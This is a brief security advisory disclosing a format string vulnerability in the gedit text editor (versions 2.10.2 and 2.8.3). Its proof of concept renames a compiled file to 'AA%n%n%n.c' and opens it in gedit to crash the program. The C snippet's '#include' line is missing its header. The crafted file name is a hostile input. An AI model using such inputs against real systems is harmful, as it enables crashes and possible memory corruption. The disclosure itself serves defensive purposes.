[UNIX] gedit Format String Vulnerability

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  gedit Format String Vulnerability
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SUMMARY

" <http://www.gnome.org/projects/gedit/> gedit is the official text editor 
of the GNOME desktop environment. While aiming at simplicity and ease of 
use, gedit is a powerful general purpose text editor."

A format string vulnerability has been discovered in gedit. The 
vulnerability can be triggered by causing the user to open specially 
crafted filename.

DETAILS

Vulnerable Systems:
 * gedit version 2.10.2
 * gedit version 2.8.3

While opening a binary file whose name contains format string operands, 
gedit will crash.

Proof of Concept:
bash-2.05b#cat fmtexp.c
#include 
int
main()
{
printf("hah gedit\n");
}

bash-2.05b#gcc -o fk fmtexp.c
bash-2.05b#mv fk AA%n%n%n.c
bash-2.05b#gedit AA%n%n%n.c


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> 
exwormh.



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